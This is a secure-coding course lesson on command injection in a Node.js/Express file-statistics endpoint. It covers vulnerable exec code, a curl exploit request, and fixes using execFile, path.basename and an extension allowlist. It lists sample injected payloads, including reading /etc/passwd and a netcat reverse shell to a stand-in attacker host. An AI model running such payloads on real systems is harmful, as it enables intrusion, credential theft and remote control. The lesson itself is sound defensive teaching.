Command Injections

Welcome to the final lesson of the "A03: Injection" course! In previous lessons, we've explored various injection vulnerabilities, such as SQL and XSS injections, and their impact on web application security. In this lesson, we'll focus on command injection, a critical vulnerability that occurs when user input is improperly handled in command execution, particularly in file processing.

Understanding and mitigating command injection is essential to prevent unauthorized command execution and potential system compromise. Let's dive in! 🚀

Command injection is a type of security vulnerability that occurs when an application passes unsafe user input to a system shell. This can allow attackers to execute arbitrary commands on the server, leading to unauthorized access and potential data breaches. Unlike other injection attacks, command injection specifically targets the execution of system commands, making it particularly dangerous in scenarios where user input is used to construct command-line instructions.

These attacks occur when applications use user input to construct system commands without proper sanitization, allowing attackers to execute arbitrary commands with the same privileges as the application. Suppose that in our pastebin application, we have an endpoint for getting file statistics (like word count) of uploaded files. This endpoint uses the system's wc command to count words in files, but without proper security measures, it could be vulnerable to command injection.

Now that we understand the basics of command injection and have a context for our example, let's look at some vulnerable code to see how this attack works in practice.

Let's examine a code snippet that demonstrates a vulnerable endpoint where user input is directly used in command execution. This example will help us understand how command injection vulnerabilities can arise:

import express from 'express';
import { exec } from 'child_process';

const router = express.Router();

router.post('/file-stats', async (req, res) => {
  const { filename } = req.body;
  const command = `wc ${filename}`;
  
  exec(command, (error, stdout, stderr) => {
    if (error) {
      console.error(`Error: ${error}`);
      return res.status(500).send(error.message);
    }
    if (stderr) {
      console.error(`Stderr: ${stderr}`);
      return res.status(500).send(stderr);
    }
    res.send(stdout);
  });
});

export default router;

In this code, the exec function is used to execute a command that counts the words in a file specified by the filename parameter. However, because the filename is directly included in the command string, an attacker could inject additional commands, leading to command injection vulnerabilities.

Let's see how an attacker might exploit this vulnerability in practice.

An attacker can exploit this vulnerability by injecting additional commands into the filename parameter. Here's an example using a bash snippet:

# Command injection to list directory contents
curl -X POST http://localhost:3000/api/process/file-stats \
  -H "Content-Type: application/json" \
  -d '{"filename": "test.txt; ls -la"}'

This attack works because the semicolon (;) in Unix-like systems is a command separator. When the application constructs the command string, it becomes wc test.txt; ls -la. The system will execute both commands sequentially: first counting words in test.txt, then listing all files in the current directory with detailed information. An attacker could use this technique to execute more dangerous commands, such as:

• Reading sensitive files: test.txt; cat /etc/passwd
• Creating backdoors: test.txt; nc -e /bin/sh attacker.com 4444
• Modifying system files: test.txt; echo "malicious content" > system_file

Now that we understand how the vulnerability can be exploited, let's look at how we can prevent these attacks through proper input validation.

The first step in preventing command injection is to validate the input to ensure it is safe to use:

const { filename } = req.body;
if (!filename || typeof filename !== 'string') {
  return res.status(400).json({ error: 'Invalid filename' });
}

By checking that the filename is a non-empty string, we reduce the risk of malicious input being processed. However, input validation alone is not enough - we also need to ensure safe path construction to prevent directory traversal attacks.

Next, we construct a safe file path to prevent directory traversal attacks:

import path from 'path';
import fs from 'fs';

const baseName = path.basename(filename);
const safePath = path.join(process.cwd(), baseName);

if (!fs.existsSync(safePath)) {
  return res.status(404).json({ error: 'File not found' });
}

Using path.basename ensures that only the file name is used, preventing attackers from navigating to unauthorized directories. This is crucial because it eliminates the possibility of accessing files outside the intended directory. With our path now properly sanitized, we can move on to implementing safe command execution.

To prevent command injection, we use the execFile function with an array of arguments instead of constructing a command string. This ensures that user input is not directly interpolated into the command, making it much harder for attackers to inject malicious commands. Here’s a secure implementation:

router.post('/file-stats', async (req, res) => {
  const { filename } = req.body;
  
  // Validate input
  if (!filename || typeof filename !== 'string') {
    return res.status(400).json({ error: 'Invalid filename' });
  }

  // Safe path construction
  const baseName = path.basename(filename);
  const safePath = path.join(process.cwd(), baseName);
  
  // Check if file exists
  if (!fs.existsSync(safePath)) {
    return res.status(404).json({ error: 'File not found' });
  }

  try {
    const execFileAsync = promisify(execFile);
    const { stdout } = await execFileAsync('wc', [safePath]);
    res.json({ result: stdout });
  } catch (error: any) {
    res.status(500).json({ 
      error: 'File processing failed', 
      details: error.message 
    });
  }
});

export default router;

By using execFile with an argument array, the command and its parameters are clearly separated, preventing the shell from interpreting user input as part of the command.

To further enhance security, we restrict the types of files that can be processed by validating the file extension. This prevents attackers from uploading and processing potentially dangerous files, such as scripts or executables. Here’s how you can implement this check:

// Inside the try block, before executing the command

// Define an array of allowed file extensions
const fileExtension = path.extname(safePath).toLowerCase();
const allowedExtensions = ['.txt', '.md', '.log', '.csv'];

if (!allowedExtensions.includes(fileExtension)) {
  return res.status(400).json({
    error: 'Invalid file type. Only text files are allowed.'
  });
}

By allowing only specific file types, you reduce the risk of processing files that could be used to exploit the system. This validation should be performed before executing any commands on the file.

Command injection vulnerabilities have led to several significant security breaches. The most notable example is the 2014 Shellshock vulnerability, which affected millions of web servers by allowing attackers to execute arbitrary commands through specially crafted HTTP headers. Additionally, numerous IoT devices have been compromised through command injection vulnerabilities in their web interfaces, leading to the creation of botnets used for DDoS attacks.

The consequences of these attacks can be severe, including data breaches, system compromise, financial losses, and damage to company reputation. These real-world examples emphasize the critical importance of implementing proper security measures to prevent command injection attacks. Now, let's wrap up what we've learned and look at next steps.

In this lesson, we've explored command injection vulnerabilities in file processing, demonstrated how they can be exploited, and discussed strategies for prevention. By understanding and applying these concepts, you can enhance the security of your web applications and protect against unauthorized command execution.

As you move on to the practice exercises, remember to apply the techniques you've learned to reinforce your understanding. Keep exploring related topics like secure file handling and vulnerability detection tools to further deepen your knowledge. Happy coding! 🎉